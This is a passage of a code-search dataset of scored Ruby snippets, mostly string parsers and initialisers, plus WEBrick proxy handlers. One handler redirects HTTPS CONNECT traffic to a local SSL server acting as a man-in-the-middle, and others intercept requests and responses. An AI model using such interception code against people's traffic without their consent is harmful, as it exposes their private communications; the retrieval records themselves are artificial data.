self.name\n\n\t\treturn true\n\tend", "title": "" }, { "docid": "08341dcf71c3de1c91cb26d097fc52fd", "score": "0.52934647", "text": "def initialize(str)\n @string = str.respond_to?(:string) ? str.string : str\n end", "title": "" }, { "docid": "62463ebeb1d2ab8782fc100f939be69a", "score": "0.5285906", "text": "def initialize(input = \"\")\n @entries = EntryCollection.new\n parse input\n end", "title": "" }, { "docid": "d4047999bad4d8a3e56a2c859aaad1dc", "score": "0.52741665", "text": "def parse(str)\n\t\t\t\ttmp = self.new\n\t\t\t\ttmp.parse(str)\n\t\t\t\ttmp\n\t\t\tend", "title": "" }, { "docid": "eb45588a801451c020964502d3ef2854", "score": "0.5269413", "text": "def build_entry(hash)\n FileOrDirectory.new(hash[\"name\"], hash[\"id\"], hash[\"content_type\"])\n end", "title": "" }, { "docid": "26f329a8feaad789d3aafc2fbc62ccb7", "score": "0.52669644", "text": "def initialize(str)\n str.strip!\n str = str[1..-2] if str[0..0] == \"'\" # get rid of quote marks\n str = str[1..-2] if str[0..0] == '\"' \n str.strip! \n @value = str\n end", "title": "" }, { "docid": "26f329a8feaad789d3aafc2fbc62ccb7", "score": "0.52669644", "text": "def initialize(str)\n str.strip!\n str = str[1..-2] if str[0..0] == \"'\" # get rid of quote marks\n str = str[1..-2] if str[0..0] == '\"' \n str.strip! \n @value = str\n end", "title": "" }, { "docid": "b3f439bc426816389afe14502d4572b9", "score": "0.52609825", "text": "def initialize(str)\n super\n if match = self.match(MACHINE_TAG)\n @namespace_and_predicate = match[:namespace_and_predicate]\n @namespace = match[:namespace]\n @predicate = match[:predicate]\n @value = match[:value]\n @value = $1 if @value =~ /^\"(.*)\"$/\n end\n end", "title": "" }, { "docid": "165d5405726e67c826a4ed04ef68bd62", "score": "0.5258107", "text": "def from_human(str)\n return self if str.nil?\n\n @string = str.encode(self_encoding)\n self\n end", "title": "" }, { "docid": "921d7b0685ff5ed5db4d197845d6dbce", "score": "0.52563035", "text": "def train(str)\n if self.instance_variable_defined?(:@chain)\n @chain = HashChain.new(StringParser.new(str), from: @chain)\n else \n @chain = HashChain.new(StringParser.new(str))\n end\n end", "title": "" }, { "docid": "4aa5899d1dec8fd0f5d529b958d8f2cc", "score": "0.5244148", "text": "def get(name)\n entry_type_name = name\n .to_s\n .tr('_-', StringExtensions::WRAP_INDENT)\n .split\n .map(&:capitalize)\n .join\n const_get \"#{entry_type_name}Entry\"\n end", "title": "" }, { "docid": "e010f75a2e22afc2b4e6fe4d3eb63977", "score": "0.5242133", "text": "def from_string(string) #:nodoc: all\n Dnsruby.log.error(\"Dnsruby::RR::TKEY#from_string called, but no text format defined for TKEY\")\n end", "title": "" }, { "docid": "ef115d8d64e9fe796daa9b1a39db9cbd", "score": "0.52248937", "text": "def initialize(entry)\n entry.each_pair do |name, value|\n self[\"_#{name}\"] = value\n end\n end", "title": "" }, { "docid": "98b1330677a8dc4ecd22a9bcfde3be04", "score": "0.5224156", "text": "def initialize(string)\n string = string.scan(/[a-z0-9]+/i).join.upcase\n string = string.match(@@pattern).to_s\n raise FormatDoesntMatch if string.empty?\n\n @fsa = string[0..2]\n @ldu = string[3..5]\n end", "title": "" }, { "docid": "8a292375833dbe46fed02faba2b1a831", "score": "0.5211855", "text": "def new_from_string(type)\n case type\n when /^TYPE\\\\d+/\n # TODO!!!\n else\n # String with name of type\n if TYPES.has_key? type\n @str = type\n @num = TYPES[type]\n else\n raise ArgumentError, \"Unknown type #{type}\"\n end\n end\n end", "title": "" }, { "docid": "f4d31c83e32266d1b76fc6bc9d82e741", "score": "0.5211175", "text": "def initialize(string)\n @str = string \n @pos = 0\n end", "title": "" }, { "docid": "acc35df400725b00589ca6930e586efe", "score": "0.5205502", "text": "def from_human(str)\n @string.read str\n calc_length\n self\n end", "title": "" }, { "docid": "7d8e63072f5ca95bdc95700dd5963ba2", "score": "0.5205105", "text": "def initialize(a_string)\n @a_string = a_string.to_s\n end", "title": "" }, { "docid": "a489a3d450e60fe687444e344562cd44", "score": "0.5195041", "text": "def obj(arg)\n str = ent(arg)\n flatparse(str)\n end", "title": "" }, { "docid": "9c7770622c8af3cb4454249391d5d46e", "score": "0.5194188", "text": "def initialize(str = nil)\n @gff_version = nil\n @records = []\n @sequence_regions = []\n @metadata = []\n @sequences = []\n @in_fasta = false\n parse(str) if str\n end", "title": "" }, { "docid": "f77235395a9c6ce9acc9b7f2ab0bd00a", "score": "0.5189854", "text": "def initialize string\n @string = string\n end", "title": "" }, { "docid": "e67ef432fe1f934f943df6cceac2c347", "score": "0.51873094", "text": "def initialize(str, extra = {})\n super(str)\n @extra = extra\n end", "title": "" }, { "docid": "6fed488e67c5b15cae8176f2e1cc9cd6", "score": "0.517576", "text": "def parse(str)\n str\n end", "title": "" }, { "docid": "ad444384772bb4f62f745c004d5afc82", "score": "0.5165093", "text": "def initialize(string = nil, my_format = nil)\n self.string = string\n self.remove_extensions = true\n self.my_format = my_format\n self.my_format ||= Rubohash.default_format\n self.my_digest = make_digest(string)\n self.my_hash_array = create_hashes([], my_digest, 11)\n end", "title": "" }, { "docid": "a7d9af4be5afb36b96e4772ff83d53b4", "score": "0.51647097", "text": "def from(str)\n @from_conv.conv(str)\n end", "title": "" }, { "docid": "9365c71ef27aa55e296e1fcc02cbc684", "score": "0.51589763", "text": "def initialize pos, str\n @position, @string = pos, str\n end", "title": "" }, { "docid": "dffd54c7e7d925f2f61f7192f323d0fb", "score": "0.51485443", "text": "def build_entry(raw_entry)\n id, date, *text = raw_entry.split(COLUMNS_SEPARATOR)\n\n Entry.new(\n id: Integer(id),\n date: DateTime.parse(date),\n content: text.join(COLUMNS_SEPARATOR)\n )\n end", "title": "" }, { "docid": "869f14d569c777a5e61b0624c9798986", "score": "0.5144448", "text": "def initialize(str)\n @data = str.split(/[\\r\\n]+/)\n @hash = {}\n\n #Flag to say whether the current line is part of a continuation\n cont = false\n \n #Goes through each line and replace that line with a PDB::Record\n @data.collect! do |line|\n #Go to next if the previous line was contiunation able, and\n #add_continuation returns true. Line is added by add_continuation\n next if cont and cont = cont.add_continuation(line)\n\n #Make the new record\n f = Record.get_record_class(line).new.initialize_from_string(line)\n #p f\n #Set cont\n cont = f if f.continue?\n #Set the hash to point to this record either by adding to an\n #array, or on it's own\n key = f.record_name\n if a = @hash[key] then\n a << f\n else\n @hash[key] = [ f ]\n end\n f\n end #each\n #At the end we need to add the final model\n @data.compact!\n end", "title": "" }, { "docid": "97041ef58684891b6ae32e053e79db68", "score": "0.5142888", "text": "def initialize(str)\n str.strip!\n @value = {}\n str.split(\",\").each do |s| \n i = s.split(\":\")\n @value.merge!(i[0].strip => i[1].strip)\n end\n end", "title": "" }, { "docid": "66efdf06658d4f103a6e2b1d833843ac", "score": "0.5135253", "text": "def string(name, **opts)\n { name => _string(opts) }\n end", "title": "" }, { "docid": "688d02c0387912bb3c97000c825945cf", "score": "0.5132595", "text": "def initialize(position, string, line_cache=nil)\n @position = position\n @str = string\n @line_cache = line_cache\n end", "title": "" }, { "docid": "36129ead8bdd48b19ff34b140f8688ec", "score": "0.513064", "text": "def item(label=\"\", str=nil, &blk) # :yield:\n if blk and str\n raise ArgmentError, \"specify a block and a str, but not both\"\n end\n\n action = str || blk\n raise ArgmentError, \"no block or string\" unless action\n\n @list.push Entry.new(label, action)\n self\n end", "title": "" }, { "docid": "98ac705ba2d000ac3ff20912e2dcf9fa", "score": "0.512624", "text": "def from_string(value)\n const_get(value)\n rescue NameError\n FormatterType.send(:new, 'UNKNOWN', value)\n end", "title": "" }, { "docid": "a76e5032d1a38109e4caa720b15dcb58", "score": "0.5125626", "text": "def build_entry(entry)\n cmds = \"#{entry[:seqno]} \" if entry[:seqno]\n cmds << \"#{entry[:action]} #{entry[:srcaddr]}/#{entry[:srcprefixlen]}\"\n cmds << ' log' if entry[:log]\n cmds\n end", "title": "" }, { "docid": "528e5613ac93470573993bebeecce106", "score": "0.5123074", "text": "def initialize(str)\n input_str, output_str = str.split('=>').map(&:strip)\n raise(ArgumentError, \"Missing input side: #{str}\") if input_str.nil? || input_str.empty?\n raise(ArgumentError, \"Missing output side: #{str}\") if output_str.nil? || output_str.empty?\n\n @inputs = parse_inputs(input_str)\n @output = parse_pair(output_str)\n @level = nil # 0 when producing original desired output\n end", "title": "" }, { "docid": "357af4b866ab8606a02799387f5ef6c6", "score": "0.5118504", "text": "def parse_one_entry\n str_ = _get_next_line\n entry_ = nil\n if str_\n match_ = LINE_REGEXP.match(str_)\n if match_\n level_ = @levels.get(match_[1])\n timestamp_ = ::Time.utc(match_[2].to_i, match_[3].to_i, match_[4].to_i,\n match_[6].to_i, match_[7].to_i, match_[8].to_i, match_[10].to_s.ljust(6, '0').to_i)\n offset_ = match_[11].to_i\n if offset_ != 0\n neg_ = offset_ < 0\n offset_ = -offset_ if neg_\n secs_ = offset_ / 100 * 3600 + offset_ % 100 * 60\n if neg_\n timestamp_ += secs_\n else\n timestamp_ -= secs_\n end\n end\n progname_ = match_[12]\n record_id_ = match_[14] || @current_record_id\n type_code_ = match_[15]\n str_ = match_[16]\n if str_ =~ /(\\\\+)$/\n count_ = $1.length\n str_ = $` + \"\\\\\"*(count_/2)\n while count_ % 2 == 1\n str2_ = _get_next_line\n if str2_ && str2_ =~ /(\\\\*)\\n?$/\n count_ = $1.length\n str_ << \"\\n\" << $` << \"\\\\\"*(count_/2)\n else\n break\n end\n end\n end\n case type_code_\n when '^'\n if str_ =~ /^BEGIN\\s/\n @current_record_id = $'\n entry_ = Entry::BeginRecord.new(level_, timestamp_, progname_, @current_record_id)\n @processor.begin_record(entry_) if @processor\n end\n when '$'\n if str_ =~ /^END\\s/\n @current_record_id = $'\n entry_ = Entry::EndRecord.new(level_, timestamp_, progname_, @current_record_id)\n @current_record_id = nil\n @processor.end_record(entry_) if @processor\n end\n when '='\n if str_ =~ ATTRIBUTE_REGEXP\n key_ = $1\n opcode_ = $2\n value_ = $'\n operation_ = opcode_ == '+' ? :append : :set\n entry_ = Entry::Attribute.new(level_, timestamp_, progname_, record_id_, key_, value_, operation_)\n @processor.attribute(entry_) if @processor\n end\n end\n unless entry_\n entry_ = Entry::Message.new(level_, timestamp_, progname_, record_id_, str_)\n @processor.message(entry_) if @processor\n end\n else\n if str_ =~ DIRECTIVE_REGEXP\n _set_parser_directive($1, $2)\n end\n entry_ = Entry::UnknownData.new(str_.chomp)\n @processor.unknown_data(entry_) if @processor.respond_to?(:unknown_data)\n end\n else\n if @emit_incomplete_records_at_eof && @processor.respond_to?(:emit_incomplete_records)\n @processor.emit_incomplete_records\n end\n end\n entry_\n end", "title": "" }, { "docid": "81ff1de60bdc6f6ac6519a83a88a5af6", "score": "0.5117153", "text": "def lookup( str )\n catalog.lookup( str )\n end", "title": "" }, { "docid": "7c02bfcbcc394915130a7f594a03fb4d", "score": "0.51108575", "text": "def initialize(string)\n\t\tself.string = string\n\tend", "title": "" }, { "docid": "857181e54526dec5328929660575a068", "score": "0.5094483", "text": "def initialize(string)\n\t\t@string = string\n\tend", "title": "" }, { "docid": "898284ae879a47db54f7da6d15548f42", "score": "0.50919044", "text": "def read(str)\n return self if str.nil?\n\n parse!(str, ber: true)\n self\n end", "title": "" }, { "docid": "3121f9cb5258d5444e3c23802ac290f0", "score": "0.5089684", "text": "def initialize(str)\n str.strip!\n str = str.split(/=/)\n str[1].strip!\n str[1] = str[1][1..-2] if str[1][0..0] == \"'\" \n str[1] = str[1][1..-2] if str[1][0..0] == \"\\\"\" \n @value = {str[0].strip.downcase.to_sym => str[1].strip}\n end", "title": "" }, { "docid": "7084e2e9644df54ec0a58b1d3fae47f4", "score": "0.5085778", "text": "def new_from_string(cls)\n case cls\n when /^CLASS\\\\d+/\n # TODO!!!\n else \n # String with name of class\n if Classes.has_key? cls\n @str = cls\n @num = Classes[cls]\n else\n raise ClassesArgumentError, \"Unknown cls #{cls}\"\n end\n end\n end", "title": "" }, { "docid": "37c7bb132c2f1c1ffc235d6955e24653", "score": "0.50855994", "text": "def add_blob( str, archive_path )\n @entries[archive_path] = StringEntry.new(str)\n end", "title": "" }, { "docid": "fa8f84d3917e58815366139eea182542", "score": "0.50847685", "text": "def initialize( str_hash )\n @src = str_hash['src']\n @dest = str_hash['dest']\n end", "title": "" }, { "docid": "cafd883555ece28bdc9b138f366c33ff", "score": "0.5083385", "text": "def make_new_entry\n Entry.new\n end", "title": "" } ]
fad5fd123fc09671584a123cefc37969
This method is mainly from WEBrick::HTTPProxyServer. To allow upstream proxy authentication, it operate 407 response from an upstream proxy. see: rubocop:disable all
[ { "docid": "784ca9344a0535520c6f616a62a19df6", "score": "0.603651", "text": "def do_CONNECT(req, res)\n # Proxy Authentication\n proxy_auth(req, res)\n\n ua = Thread.current[:WEBrickSocket] # User-Agent\n raise WEBrick::HTTPStatus::InternalServerError,\n \"[BUG] cannot get socket\" unless ua\n\n host, port = req.unparsed_uri.split(\":\", 2)\n # Proxy authentication for upstream proxy server\n if proxy = proxy_uri(req, res)\n proxy_request_line = \"CONNECT #{host}:#{port} HTTP/1.0\"\n if proxy.userinfo\n credentials = \"Basic \" + [proxy.userinfo].pack(\"m\").delete(\"\\n\")\n end\n host, port = proxy.host, proxy.port\n end\n\n begin\n @logger.debug(\"CONNECT: upstream proxy is `#{host}:#{port}'.\")\n os = TCPSocket.new(host, port) # origin server\n\n if proxy\n @logger.debug(\"CONNECT: sending a Request-Line\")\n os << proxy_request_line << WEBrick::CRLF\n @logger.debug(\"CONNECT: > #{proxy_request_line}\")\n if credentials\n @logger.debug(\"CONNECT: sending a credentials\")\n os << \"Proxy-Authorization: \" << credentials << WEBrick::CRLF\n end\n os << WEBrick::CRLF\n proxy_status_line = os.gets(WEBrick::LF)\n @logger.debug(\"CONNECT: read a Status-Line form the upstream server\")\n @logger.debug(\"CONNECT: < #{proxy_status_line}\")\n if /^HTTP\\/\\d+\\.\\d+\\s+(?<st>200|407)\\s*/ =~ proxy_status_line\n res.status = st.to_i\n while line = os.gets(WEBrick::LF)\n res.header['Proxy-Authenticate'] =\n line.split(':')[1] if /Proxy-Authenticate/i =~ line\n break if /\\A(#{WEBrick::CRLF}|#{WEBrick::LF})\\z/om =~ line\n end\n else\n raise WEBrick::HTTPStatus::BadGateway\n end\n end\n @logger.debug(\"CONNECT #{host}:#{port}: succeeded\")\n rescue => ex\n @logger.debug(\"CONNECT #{host}:#{port}: failed `#{ex.message}'\")\n res.set_error(ex)\n raise WEBrick::HTTPStatus::EOFError\n ensure\n if handler = @config[:ProxyContentHandler]\n handler.call(req, res)\n end\n res.send_response(ua)\n accesslog(req, res)\n\n # Should clear request-line not to send the response twice.\n # see: HTTPServer#run\n req.parse(WEBrick::NullReader) rescue nil\n end\n\n begin\n while fds = IO::select([ua, os])\n if fds[0].member?(ua)\n buf = ua.sysread(1024);\n @logger.debug(\"CONNECT: #{buf.bytesize} byte from User-Agent\")\n os.syswrite(buf)\n elsif fds[0].member?(os)\n buf = os.sysread(1024);\n @logger.debug(\"CONNECT: #{buf.bytesize} byte from #{host}:#{port}\")\n ua.syswrite(buf)\n end\n end\n rescue\n os.close\n @logger.debug(\"CONNECT #{host}:#{port}: closed\")\n end\n\n raise WEBrick::HTTPStatus::EOFError\n end", "title": "" } ]
[ { "docid": "e8c25f8e5b00dea1023af2b2ba35104d", "score": "0.6594947", "text": "def proxy_response_headers; end", "title": "" }, { "docid": "bacd7e87fa5482f3e348497c64889c8b", "score": "0.656534", "text": "def proxy_pass; end", "title": "" }, { "docid": "a0ed39d6607a4495467012b563987066", "score": "0.6427866", "text": "def proxy_header\n super\n end", "title": "" }, { "docid": "916fba8bbf590088f2078322ec5452e8", "score": "0.64270175", "text": "def perform_proxy_request(req, res)\n uri = req.request_uri\n header = setup_proxy_header(req, res)\n # upstream = setup_upstream_proxy_authentication(req, res, header)\n response = nil\n\n http = Net::HTTP.new(uri.host, uri.port) # upstream.host, upstream.port)\n\n # HERE is what I add: SSL support\n if http.use_ssl = (uri.scheme == 'https' || uri.port == 443)\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n http.cert_store = ssl_cert_store\n end\n\n http.start do\n if @config[:ProxyTimeout]\n ################################## these issues are\n http.open_timeout = 30 # secs # necessary (maybe bacause\n http.read_timeout = 60 # secs # Ruby's bug, but why?)\n ##################################\n end\n response = yield(http, uri.request_uri, header)\n end\n\n # Persistent connection requirements are mysterious for me.\n # So I will close the connection in every response.\n res['proxy-connection'] = \"close\"\n res['connection'] = \"close\"\n\n # Convert Net::HTTP::HTTPResponse to WEBrick::HTTPResponse\n res.status = response.code.to_i\n choose_header(response, res)\n set_cookie(response, res)\n set_via(res)\n res.body = response.body\n end", "title": "" }, { "docid": "76d1eb909e191c23e9023c0a7535499b", "score": "0.6374687", "text": "def using_authenticated_proxy?; end", "title": "" }, { "docid": "1e851104aec28c1d2e16fc40f91ee52b", "score": "0.61533105", "text": "def http_proxy_parts; end", "title": "" }, { "docid": "155b0dbbdbf6a48f1ddabf4e4acc3ed4", "score": "0.61454904", "text": "def proxy_service(req, res)\n # Proxy Authentication\n proxy_auth(req, res)\n @config[:forwarder].forward(req, res)\n end", "title": "" }, { "docid": "c40ef223f489b07b11ffe4949a55cc2e", "score": "0.6133421", "text": "def proxy_connect_header; end", "title": "" }, { "docid": "cef1ceb832dbf0f319c1b00c89e2fed3", "score": "0.6023673", "text": "def proxy_connect_headers; end", "title": "" }, { "docid": "f550dc263daf86c7aa4c33c0938161b0", "score": "0.59928745", "text": "def filter_response(req, res)\n command = nil\n if res.status == HTTP::Status::PROXY_AUTHENTICATE_REQUIRED\n if challenge = parse_authentication_header(res, 'proxy-authenticate')\n uri = req.header.request_uri\n challenge.each do |scheme, param_str|\n @authenticator.each do |auth|\n next unless auth.set? # hasn't be set, don't use it\n if scheme.downcase == auth.scheme.downcase\n challengeable = auth.challenge(uri, param_str)\n command = :retry if challengeable\n end\n end\n end\n # ignore unknown authentication scheme\n end\n end\n command\n end", "title": "" }, { "docid": "0b9d99236f072e11c110be38341a71ad", "score": "0.59873664", "text": "def include_proxy_authorization_header; end", "title": "" }, { "docid": "050e999ad347f819fed0590f529fec0e", "score": "0.594538", "text": "def do_CONNECT(req, res)\n proxy_auth(req, res)\n\n ua = Thread.current[:WEBrickSocket] # User-Agent\n raise WEBrick::HTTPStatus::InternalServerError, \"[BUG] cannot get socket\" unless ua\n\n # HERE is what I override: Instead to the target host; point the traffic\n # to the local ssl_server that acts as a man-in-the-middle.\n # host, port = req.unparsed_uri.split(\":\", 2)\n host = local_ssl_host\n port = local_ssl_port\n\n begin\n @logger.debug(\"CONNECT: upstream proxy is `#{host}:#{port}'.\")\n os = TCPSocket.new(host, port) # origin server\n @logger.debug(\"CONNECT #{host}:#{port}: succeeded\")\n res.status = WEBrick::HTTPStatus::RC_OK\n rescue => ex\n @logger.debug(\"CONNECT #{host}:#{port}: failed `#{ex.message}'\")\n res.set_error(ex)\n raise WEBrick::HTTPStatus::EOFError\n ensure\n if handler = @config[:ProxyContentHandler]\n handler.call(req, res)\n end\n res.send_response(ua)\n access_log(@config, req, res)\n\n # Should clear request-line not to send the response twice.\n # see: HTTPServer#run\n req.parse(WEBrick::NullReader) rescue nil\n end\n\n begin\n while fds = IO::select([ua, os])\n if fds[0].member?(ua)\n buf = ua.sysread(1024);\n @logger.debug(\"CONNECT: #{buf.bytesize} byte from User-Agent\")\n os.syswrite(buf)\n elsif fds[0].member?(os)\n buf = os.sysread(1024);\n @logger.debug(\"CONNECT: #{buf.bytesize} byte from #{host}:#{port}\")\n ua.syswrite(buf)\n end\n end\n rescue => ex\n os.close\n @logger.debug(\"CONNECT #{host}:#{port}: closed\")\n end\n\n raise WEBrick::HTTPStatus::EOFError\n end", "title": "" }, { "docid": "55e7d40354fa29a209d327beba055f45", "score": "0.5908634", "text": "def proxy_request_to(args)\n @cgi, @http, @fp_log = args[:cgi], args[:http], args[:fp_log]\n \n headers = {\"Hayabusa_mode\" => \"proxy\"}\n @cgi.env.each do |key, val|\n keyl = key.to_s.downcase\n \n if key[0, 5] == \"HTTP_\"\n key = key[5, key.length].gsub(\"_\", \" \")\n key = key.to_s.split(\" \").select{|w| w.capitalize! or w }.join(\" \")\n key = key.gsub(\" \", \"-\")\n keyl = key.downcase\n \n if keyl != \"connection\" and keyl != \"accept-encoding\" and keyl != \"hayabusa-fcgi-config\" and key != \"hayabusa-cgi-config\"\n headers[key] = val\n end\n end\n end\n \n #Make request.\n uri = Knj::Web.parse_uri(@cgi.env[\"REQUEST_URI\"])\n url = File.basename(uri[:path])\n url = url[1, url.length] if url[0] == \"/\"\n \n if @cgi.env[\"QUERY_STRING\"].to_s.length > 0\n url << \"?#{cgi.env[\"QUERY_STRING\"]}\"\n end\n \n @fp_log.puts(\"Proxying URL: '#{url}'.\") if @fp_log\n \n #The HTTP-connection can have closed mean while, so we have to test it.\n raise Errno::ECONNABORTED unless @http.socket_working?\n \n # Count used to know what is the status line.\n @count = 0\n \n if @cgi.env[\"REQUEST_METHOD\"] == \"POST\"\n # Use CGI to parse post.\n real_cgi = Hayabusa::Cgi.new(@cgi)\n params = real_cgi.params\n \n if cgi.env[\"CONTENT_TYPE\"].to_s.downcase.include?(\"multipart/form-data\")\n @http.post_multipart(\n :url => url,\n :post => self.convert_fcgi_post_fileuploads_to_http2(self.convert_fcgi_post(params, :http2_compatible => true)),\n :default_headers => headers,\n :cookies => false,\n :on_content => self.method(:on_content)\n )\n else\n @http.post(\n :url => url,\n :post => self.convert_fcgi_post(params, :http2_compatible => true),\n :default_headers => headers,\n :cookies => false,\n :on_content => self.method(:on_content)\n )\n end\n else\n @http.get(\n :url => url,\n :default_headers => headers,\n :cookies => false,\n :on_content => self.method(:on_content)\n )\n end\n end", "title": "" }, { "docid": "add75b142126165a65c6bceadddc57fa", "score": "0.5902208", "text": "def http_proxy; end", "title": "" }, { "docid": "6587ac862d720ce1679073ce654b7991", "score": "0.5899486", "text": "def process_request(request)\n\n chef_server = determine_chef_server(request)\n logger.debug \" process_request: chef_server = #{chef_server[:url]}\"\n\n if request.headers[\"X-Ops-Sign\"]\n # process signed request (from knife)\n if verify_signed_request(request)\n result = forward_request( chef_server, sign_request(request, chef_server[:client_name], chef_server[:client_key]) )\n #logger.debug result\n return result\n else\n result = { \"body\" => {\"error\" => \"Proxy could not process signed request\"}, \"status\" => 401 }\n #logger.debug result\n return result\n end\n\n else\n # process unsigned request\n EdmundsChefRailsProxy::Application.config.anon_requests.each do |anon_req|\n #logger.debug \" process_request: #{request.method} =~ #{anon_req[:method]} && #{request.fullpath} =~ /#{anon_req[:path]}/\"\n if request.method =~ /#{anon_req[:method]}/ && request.fullpath =~ /#{anon_req[:path]}/\n result = forward_request( chef_server, sign_request(request, chef_server[:client_name], chef_server[:client_key]) )\n #logger.debug result\n return result\n end\n end\n # at this point, return 401 error\n result = { \"body\" => {\"error\" => \"Proxy could not process anonymous request\"}, \"status\" => 401 }\n #logger.debug result\n return result\n\n end\n\nend", "title": "" }, { "docid": "62a21cbb321c3b9d6068153f62688825", "score": "0.57948405", "text": "def proxy_request client\n req = parse_request client\n\n query = req.query.map { |k, v| \"#{k}=#{v}\" }.join '&'\n query = '?' << query unless query.strip.empty?\n query = URI::encode query\n\n server = TCPSocket.new($remote_server, $remote_port)\n write_request_enveloped req, server\n \n # Read response\n buff = ''\n loop do\n server.read 4096, buff\n # Decrypt our response here and reconstruct the headers\n client.write buff\n break if buff.size < 4096\n end\n \n server.close\n end", "title": "" }, { "docid": "b92a40a42d02dd7841de65bcd8dbf6c2", "score": "0.5773754", "text": "def proxy_service(req, res)\n # Proxy Authentication\n proxy_auth(req, res)\n\n begin\n self.send(\"do_#{req.request_method}\", req, res)\n rescue NoMethodError\n raise WEBrick::HTTPStatus::MethodNotAllowed,\n \"unsupported method `#{req.request_method}'.\"\n rescue => err\n logger.debug(\"#{err.class}: #{err.message}\")\n raise WEBrick::HTTPStatus::ServiceUnavailable, err.message\n end\n\n # Process contents\n if handler = @config[:ProxyContentHandler]\n handler.call(req, res)\n end\n end", "title": "" }, { "docid": "1e12837aba43e06b43999342e0b5885f", "score": "0.5759952", "text": "def using_proxy?; end", "title": "" }, { "docid": "8ccb31b7331b154eba9521ff1036407a", "score": "0.57511944", "text": "def allow_client_to_handle_unauthorized_status\n headers.delete('WWW-Authenticate')\n end", "title": "" }, { "docid": "44211298393d362b7adb23cbdd28477d", "score": "0.5710915", "text": "def proxy_set?; end", "title": "" }, { "docid": "e94214394bf08cf6158f1930df8a583b", "score": "0.56897795", "text": "def cbor_att\n unless trusted_client\n head 401\n end\n head 406\n end", "title": "" }, { "docid": "f0a8e09a2f579014473e51722523177a", "score": "0.56876075", "text": "def proxy_service(req, res)\n # Proxy Authentication\n proxy_auth(req, res)\n\n # Request modifier handler\n intercept_request(@config[:request_interceptor], req)\n\n begin\n send(\"do_#{req.request_method}\", req, res)\n rescue NoMethodError\n raise WEBrick::HTTPStatus::MethodNotAllowed, \"unsupported method `#{req.request_method}'.\"\n rescue => err\n raise WEBrick::HTTPStatus::ServiceUnavailable, err.message\n end\n\n # Response modifier handler\n intercept_response(@config[:response_interceptor], req, res)\n end", "title": "" }, { "docid": "47038f2dfa659cb10106deea47d735e8", "score": "0.5682646", "text": "def proxy_user; end", "title": "" }, { "docid": "bd425df91ea51f3fd4c28eba66467d72", "score": "0.56747943", "text": "def raw_response; end", "title": "" }, { "docid": "f13b0b0b98ae2e8d0c036cf4395b33bf", "score": "0.56621426", "text": "def proxy_apache_authenticate\n logger.info(\"proxy_apache_authenticate as #{request.env[\"HTTP_X_FORWARDED_USER\"]}\")\n common_authenticate(request.headers[\"HTTP_X_FORWARDED_USER\"])\n return true\n end", "title": "" }, { "docid": "4303198b027992896ed79646c1bd92d2", "score": "0.5647051", "text": "def insert_xforwarded_for_header_mode\n super\n end", "title": "" }, { "docid": "22f62745965598c699154d634a2db759", "score": "0.5602884", "text": "def handle_preflight_request( request )\n\t\tpath = request.app_path\n\t\tresponse = request.response\n\n\t\tself.class.access_controls.each do |pattern, options|\n\t\t\tself.log.debug \"Applying access controls: %p (%p)\" % [ pattern, options ]\n\n\t\t\t# TODO: Skip requests that don't match options? E.g.,\n\t\t\t# next unless options[:allowed_methods].include?( request.verb )\n\n\t\t\toptions[:block].call( request, response ) if\n\t\t\t\toptions[:block] && ( !pattern || path.match(pattern) )\n\t\tend\n\n\t\tresponse.add_cors_headers\n\t\tresponse.status = 204\n\n\t\treturn response\n\tend", "title": "" }, { "docid": "348e23e257440908baccbc00ecb6459f", "score": "0.5599227", "text": "def proxy_addr; end", "title": "" }, { "docid": "554d9d508e0d310ed6cc7d8477e59bc7", "score": "0.5588914", "text": "def try_to_parse_proxy_protocol; end", "title": "" }, { "docid": "054c5c0830fa4da319647d1d297f46fa", "score": "0.5558405", "text": "def proxy_service(req, res)\n # Proxy Authentication\n proxy_auth(req, res)\n\n # Request modifier handler\n intercept_request(@config[:request_interceptor], req, @config[:ritm_conf].intercept.request)\n\n begin\n send(\"do_#{req.request_method}\", req, res)\n rescue NoMethodError\n raise WEBrick::HTTPStatus::MethodNotAllowed, \"unsupported method `#{req.request_method}'.\"\n rescue StandardError => err\n raise WEBrick::HTTPStatus::ServiceUnavailable, err.message\n end\n\n # Response modifier handler\n intercept_response(@config[:response_interceptor], req, res, @config[:ritm_conf].intercept.response)\n end", "title": "" }, { "docid": "5c93daad9455f77a6dd62872ecd3273a", "score": "0.55139405", "text": "def legitimate_proxy?; end", "title": "" }, { "docid": "e000e44345823339534e7965e3da48b4", "score": "0.55104727", "text": "def send_proxy_connect_request(req); end", "title": "" }, { "docid": "0ee8da4833c481dcc201d0c2234b307f", "score": "0.55078465", "text": "def reverse_proxy\n # get http method from request\n method = request.method.downcase\n # get path from request\n path = params[:path]\n # we remove the first part of path. It is the openstack service name\n service_path = path.split(\"/\", 2)\n service_name = service_path[0]\n # the rest is the current path\n path = service_path[1] || \"\"\n path += \".#{params[:format]}\" if params[:format]\n\n headers = {}\n request.headers.each do |name, value|\n if name.start_with?(\"HTTP_OS_API\")\n headers[name.gsub(\"HTTP_OS_API_\", \"\").gsub(\"_\", \"-\")] = value\n end\n end\n # rename content type to fit elektron's key :(\n if headers[\"CONTENT-TYPE\"]\n headers[\"Content-Type\"] = headers[\"CONTENT-TYPE\"]\n headers.delete(\"CONTENT-TYPE\")\n end\n\n # byebug\n\n # get api client for the given service name\n service = services.os_api.service(service_name)\n # filter the relevant params for the api client\n elektron_params = request.query_parameters\n\n # call the openstack api endpoint with given path, params and headers\n # for http methods POST, PUT, PATCH we have to consider the body parameter\n elektron_response =\n if %w[post put patch].include?(method)\n body = request.body.read\n service.public_send(method, path, elektron_params, headers: headers) do\n body\n end\n # GET, HEAD, DELETE case\n else\n service.public_send(method, path, elektron_params, headers: headers)\n end\n\n # render response as json\n elektron_response.header.each_header do |key, value|\n new_key = key.start_with?(\"x-\") ? key : \"x-#{key}\"\n response.set_header(new_key, value)\n end\n\n if params[:inline]\n headers[\"Content-Disposition\"] = \"inline\"\n render inline: elektron_response.body\n else\n render json: elektron_response.body, status: elektron_response.header.code\n end\n rescue => e\n # pp \"......................................ERROR\"\n # pp e\n # byebug\n render json: { error: e.response.body || e.message }, status: e.code\n end", "title": "" }, { "docid": "fb1e3bff80dc27ef0226a16c4d85d906", "score": "0.54949224", "text": "def proxy_target_unbound\n @server_side = nil\n end", "title": "" }, { "docid": "fb1e3bff80dc27ef0226a16c4d85d906", "score": "0.54949224", "text": "def proxy_target_unbound\n @server_side = nil\n end", "title": "" }, { "docid": "1cd7e22203c9e3c848ce0510fd682785", "score": "0.5463086", "text": "def handle request, response\n\n options = {}\n options[:port] = request.port\n options[:ssl] = request.use_ssl?\n 